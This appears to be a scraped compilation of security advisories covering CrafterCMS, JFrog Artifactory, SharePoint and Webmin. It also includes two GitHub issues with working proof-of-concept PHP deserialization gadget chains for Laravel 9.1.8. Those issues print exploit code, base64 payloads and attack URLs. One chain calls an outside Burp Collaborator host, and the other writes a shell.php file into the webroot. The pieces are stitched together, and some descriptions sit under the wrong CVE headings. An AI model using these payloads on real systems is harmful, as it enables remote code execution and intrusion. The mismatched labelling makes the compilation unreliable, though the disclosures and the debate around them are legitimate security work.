Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via FreeMarker static methods.

*   

**CV-2022051603¶**

 

**Date**

2022.05.16

**Affected Versions**

**3.1** < 3.1.18

**Vulnerability Type**

CWE-913 Improper Control of Dynamically-Managed Code Resources

**Risk**

High

**Description**

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via FreeMarker static methods.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23267

**Credit**

Kai Zhao (ToTU Security Team), https://github.com/happyhacking-k

**CV-2022051602¶**

 

**Date**

2022.05.16

**Affected Versions**

**3.1** < 3.1.18

**Vulnerability Type**

CWE-117 Improper Output Neutralization for Logs

**Risk**

Medium

**Description**

An anonymous user can craft a URL with text that ends up in the log viewer as is.The text can then include textual messages to mislead the administrator.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23266

**Credit**

Faizan Wani, https://github.com/faizanw8

**CV-2021120106¶**

 

**Date**

2021.12.01

**Affected Versions**

**3.1** < 3.1.15

**Vulnerability Type**

CWE-402: Transmission of Private Resources into a New Sphere (‘Resource Leak’)

**Risk**

Medium

**Description**

Transmission of Private Resources into a New Sphere (‘Resource Leak’) in CrafterEngine

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23263

**Credit**

Carlos Ortiz, https://github.com/cortiz

**CV-2021120107¶**

 

**Date**

2021.12.01

**Affected Versions**

**3.1** < 3.1.15

**Vulnerability Type**

CWE-402: Transmission of Private Resources into a New Sphere (‘Resource Leak’) CWE-668 Exposure of Resource to Wrong Sphere

**Risk**

High

**Description**

Transmission of Private Resources into a New Sphere (‘Resource Leak’) and Exposureof Resource to Wrong Sphere in Crafter Search

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23264

**Credit**

Sparsh Kulshrestha, https://github.com/sparshkulshrestha

**CV-2020080102¶**

 

**Date**

2020.08.01

**Affected Versions**

**3.0** < 3.0.27  
**3.1** < 3.1.7

**Vulnerability Type**

RCE

**Risk**

Medium

**Description**

Authenticated attackers with developer privileges in Crafter Studio may execute OS commands via deep inspection of FreeMarker template exposed objects.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2020-25803

**Credit**

Alvaro Muñoz (GitHub), https://github.com/pwntester

**CV-2017061502¶**

 

**Date**

2017.06.15

**Affected Versions**

**3.0** < 3.0.1

**Vulnerability Type**

Directory Traversal

**Risk**

Critical

**Description**

A directory traversal vulnerability exists which allows unauthenticated attackers to overwrite files from the operating system which can lead to RCE.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2017-15681

**Credit**

Jasmin Landry, https://github.com/JR0ch17

CVE-2021-23267: Security Advisories — CrafterCMS 3.1.23 documentation

An anonymous user can craft a URL with text that ends up in the log viewer as is. The text can then include textual messages to mislead the administrator.

CVE-2021-23266: Security Advisories — CrafterCMS 3.1.23 documentation

JFrog Artifactory before 7.36.1 and 6.23.41, is vulnerable to Insecure Deserialization of untrusted data which can lead to DoS, Privilege Escalation and Remote Code Execution when a specially crafted request is sent by a low privileged authenticated user due to insufficient validation of a user-provided serialized object.

 Subscribe to the RSS Feed |  SUPPORT

JFrog takes the privacy and security of its customers very seriously and always strives to provide prompt notification and remediation of any vulnerabilities discovered on JFrog products. As a CVE Numbering Authority (CNA), JFrog assigns CVE identification numbers to newly discovered security vulnerabilities.

Severity

CVE

Summary

Product

Versions

Published

Updated

HIGH

**CVE-2021-3860**

JFrog Artifactory prior to version 7.25.4 (Enterprise+ deployments only), is vulnerable to Blind SQL  Injection by a low privileged authenticated user due to incomplete validation when performing an SQL query.

Artifactory

*   Versions prior to 7.25.4
*   Versions prior to 6.23.30

12/15/2021

12/15/2021

MEDIUM

**CVE-2021-45074**

JFrog Artifactory prior to7.29.3 and 6.23.38, is vulnerable to Broken Access Control, a low-privileged user is able to delete other known users OAuth token, which will force a reauthentication on an active session or in the next UI session.

Artifactory

*   Versions prior to 7.29.3
*   Versions prior to 6.23.38

03/02/2022

03/02/2022

LOW

**CVE-2021-46270**

JFrog Artifactory prior to 7.31.10, is vulnerable to Broken Access Control where a project admin user is able to list all available repository names due to insufficient permission validation.

Artifactory

*   Versions prior to 7.31.10

03/02/2022

03/02/2022

HIGH

**CVE-2022-0573**

JFrog Artifactory prior to 7.36.1 and 6.23.41, is vulnerable to Insecure Deserialization of untrusted data which can lead to DoS, Privilege Escalation, and Remote Code Execution when a specially crafted request is sent by a low privileged authenticated user due to insufficient validation of a user-provided serialized object.

Artifactory

*   Versions prior to 7.36.1
*   Versions prior to 6.34.41

12/5/2022

12/5/2022

MEDIUM

**CVE-2021-45730**

JFrog Artifactory prior to 7.31.10, is vulnerable to Broken Access Control where a Project Admin is able to create, edit and delete Repository Layouts while Repository Layouts configuration should only be available for Platform Administrators. 

Artifactory

Versions prior to 7.31.10

18/5/2022

18/5/2022

MEDIUM

**CVE-2021-41834**

JFrog Artifactory prior to versions 7.28.0 and 6.23.38, is vulnerable to Broken Access Control, the copy functionality can be used by a low-privileged user to read and copy any artifact that exists in the Artifactory deployment due to improper permissions validation.

Artifactory

*   Versions prior to 7.28.0
*   Versions prior to 6.23.38

18/5/2022

18/5/2022

CVE-2022-0573: JFrog Security Advisories - JFrog

The Advanced Uploader WordPress plugin through 4.2 allows any authenticated users like subscriber to upload arbitrary files, such as PHP, which could lead to RCE

CVE-2022-1103

The AGIL WordPress plugin through 1.0 accepts all zip files and automatically extracts the zip file without validating the extracted file type. Allowing high privilege users such as admin to upload an arbitrary file like PHP, leading to RCE

CVE-2021-25119

Deserialization vulnerabilities are hard to fix

Ben Dickson 16 May 2022 at 13:38 UTC

Deserialization vulnerabilities are hard to fix

A security researcher found a fresh way to exploit a recently patched deserialization bug in Microsoft SharePoint and stage remote code execution (RCE) attacks.

The flaw, a variant on an issue that was patched in February, uses the site creation features of SharePoint, Microsoft’s intranet platform, to upload and run malicious files on the server.

Many languages use serialization and deserialization to pass complex objects to servers and between processes. If the deserialization process is insecure, an adversary will be able to exploit it to send malicious objects and run them on the server.

Nguyễn Tiến Giang (Jang), a security researcher at StarLabs, found that when SharePoint servers are configured in a certain way, they will be prone to deserialization attacks that can lead to RCE.

**Deserialization part deux**

In a detailed blog post, Jang explains that an adversary can exploit the bug by creating a SharePoint List on the server and uploading a malicious gadget chain with the deserialization payload as a PNG attachment.

By sending a render request for the uploaded file, the attacker will trigger the bug and execute the payload on the server.

“A successful attack may give the attacker the ability to get code execution in the target server with privilege of running w3wp.exe process,” Jang told The Daily Swig, referring to the IIS worker process that runs the web application.

YOU MAY ALSO LIKE Brace of Icinga web vulnerabilities ‘easily chained’ to hack IT monitoring software

Fortunately, the flaw can only be exploited by authenticated adversaries and when the application is in a configuration that turned off by default.

“Luckily, this bug doesn’t exist in a SharePoint with default configuration,” Jang said. “It requires a user with ‘Create Sub-site’ privilege and the State-Service in the target server must be enabled.”

Microsoft patched the bug (CVE-2022-29108) in May’s Patch Tuesday release.

**‘Old Wine, New Bottle’**

Jang found the bug while analyzing CVE-2022-22005. It turned out that there was another way to trigger the same bug.

“Actually, this bug is very easy to \[spot\]. There was an analysis blog post about it in March. Just follow the instructions in that blog post and people can easily spot the new variant of CVE-2022-22005,” Jang said.

Catch up with the latest Microsoft security news

Jang has described the bug as “Old Wine in a New Bottle” and tweeted a meme based on this theme.

Nguyễn Đình Hoàng (hir0ot), who penned a detailed analysis of CVE-2022-22005, told The Daily Swig that there are usually two ways to fix deserialization bugs: limiting endpoints that deserialize untrusted data or using a whitelist-based type binder.

“Both are difficult to implement effectively in the real world, especially when serialization/deserialization happens in the core protocol, framework, or application that was developed so many years ago,” hir0ot said.

“And the fix also must not impact the functional working of the application. Any fix can easily lead to a bug.”

RECOMMENDED Marcus Hutchins on WannaCry – ‘Still to this day it feels like it was all a weird dream’

SharePoint RCE bug resurfaces three months after being patched by Microsoft

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

**Build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php
namespace Illuminate\\Contracts\\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = \[\];
        protected $handlers = \[\];
        protected $queueResolver;
        function \_\_construct()
        {
            $this\->queueResolver = "system";

        }
    }
}

namespace Illuminate\\Broadcasting{

    use Illuminate\\Contracts\\Queue\\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function \_\_construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function \_\_construct()
        {
            $this\->event = new BroadcastEvent();
            $this\->event\->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";
            $this\->events = new \\Illuminate\\Bus\\Dispatcher();
        }
    }
}
namespace{
    $a = new \\Illuminate\\Broadcasting\\PendingBroadcast();
    echo base64\_encode(serialize($a));
}

result :

    Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=
    

**attack**

http://127.0.0.1:1080/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

So, why was a CVE issued for this?

I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

> I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

> > I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?
> 
> @caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.
> 
> A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.
> 
> Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

Thank you so much for the explanation. What confused me is that the ping command is entered from within your backend code. Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

Are you aware of any instances in "official" (as in code maintained by the Laravel org) codebases where this is used? From your reply I know that my codebase does not contain this vulnerability, but if it is present in say Laravel Jetstream, that's something that should be noted.

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.

It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

> Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

That is correct, by using the PoC to generate a base64 payload we can pass that to the example route. I have not personally reviewed all the laravel maintained codebases, but anywhere unserialize accepts user controlled input would be vulnerable.

> The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.
> 
> It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

So having code execution on unserialize is a feature ?

> So having code execution on unserialize is a feature ?

The official PHP docs warn of this.  

This also reflects Taylor Otwell's response when I asked if he was aware of this CVE.

> On Tuesday, May 17th, 2022 at 12:06, taylorotwell taylor@laravel.com wrote:
> 
> Passing unsanitized user input to unserialize is never safe in PHP.

Of note: Snyk points to this being the vulnerable code in question.

> Affected versions of this package are vulnerable to Deserialization of Untrusted Data via an unserialize pop chain in \_\_destruct and dispatch($command).

@pasterp If you deserialise untrusted data, it's your fault for doing that. If there is whatever POP chain in your code, you may allow an attacker to execute arbitrary code, but the POP chain just makes the vulnerability worse, it DOES NOT constitute the vulnerability.

To make an example, if you have a stack buffer overflow, you can exploit it with a ROP chain, but the vulnerability is not the ROP chain, it is the bloody stack buffer overflow.  
Saying that the POP chain is the vulnerability is like saying that the ROP chain is the vulnerability, and that's false.

Calling unserialise on untrusted data is a vulnerability.

Copy link

** **pqlx** commented May 17, 2022 •**

I think there should be some serious thought about revoking this CVE.

As pointed out, there is no security boundary being breached here. Passing arbitrary data to unserialize has always been classified as "unsafe". That the Laravel core framework just happens to have a few classes that you could readily use in such a scenario does not constitute a vulnerability on their part.

Besides, there's no real fix for people using unserialize inappropriately anyway. As @klezVirus points out, it's analogous to something like ROP gadgets. (Framework) developers can keep patching their classes to not do stuff in e.g. __construct or __destruct, but besides making code more complex (and maybe eliminating low-hanging fruit), there are always going to be more complex chains that give the attacker more control. It is a fundamental issue with unserialize.

> So having code execution on unserialize is a feature ?

No it's not. But it's not necessarily a vulnerability either. If someone were to pass unsafe user input into an exec() call, that would be a vulnerability in that persons code, but it's not a vulnerability within PHP.

If there are any usages in the Laravel core framework that actually has code akin to this, then yeah it should be a CVE. But since it does not seem to be so, this is not any more of a vulnerability in Laravel as the following is:

// Obviously DON'T actually do this in a real app
Route::get('/', function (\\Illuminate\\Http\\Request $request) {
    echo shell\_exec($request\->input('name'));
});

While my example above for sure is a vulnerability in my code (if it was actually deployed), it's not a vulnerability within Laravel, or even PHP.

@caendesilva I'd argue comparing exec to unserialize is an apples to oranges comparison and not really the best analogy for what is happening here.

While I agree it's not best practice to pass untrusted user input to unserialize, doing that alone does not automatically create a path for exploitation.

So just to clarify as we also got the snyk alert. The vulnerability here is that there exists a class in Laravel which will do code execution when called, but that the only route to call it is via unserialize which is not passed untrusted user input in laravel itself. So it isn't reachable unless a user (developer) calls unserialize() on untrusted input which is bad idea anyway (according to the docs and common sense).

I'm here too because of snyk. Is there any solution to this?

> I'm here too because of snyk. Is there any solution to this?

@oreillysean Check your code for any areas that might use unserialize and accept user input. If none are found you can mark it as ignored in Synk since it's not applicable to you.

this is for Laravel 9.1.8 only ?  
if yes, Snyk raised a false alert for my 8.83.12 Laravel ?

> @GlitchWitch yes I agree with you. However would this not fix the issue as stated in the CVE oreillysean/framework@57c5f57

I haven't had a chance to test, but perhaps it would be worth submitting your proposed fix as a PR for the Laravel team to review.

CVE-2022-30778: Laravel 9.1.8 POP chain · Issue #1 · 1nhann/vulns

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttp\Cookie\FileCookieJar.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30779

**build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php

namespace GuzzleHttp\\Cookie{
    class SetCookie
    {
        private static $defaults = \[
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        \];
        function \_\_construct()
        {
            $this\->data\['Expires'\] = '<?php phpinfo();?>';
            $this\->data\['Discard'\] = 0;
        }
    }
    class CookieJar{
        private $cookies = \[\];
        private $strictMode;
        function \_\_construct()
        {
            $this\->cookies\[\] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function \_\_construct()
        {
            parent::\_\_construct();
            $this\->filename = "d:/var/www/untitled/public/shell.php";
            $this\->storeSessionCookies = true;
        }
    }
}
namespace{
    $a = new \\GuzzleHttp\\Cookie\\FileCookieJar();
    echo base64\_encode(serialize($a));
}

result :

    TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9
    

**attack**

http://127.0.0.1:1080/?ser=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9

CVE-2022-30779: Laravel 9.1.8 POP chain2 · Issue #2 · 1nhann/vulns

Webmin through 1.991, when the Authentic theme is used, allows remote code execution when a user has been manually created (i.e., not created in Virtualmin or Cloudmin). This occurs because settings-editor_write.cgi does not properly restrict the file parameter.

Tag

#rce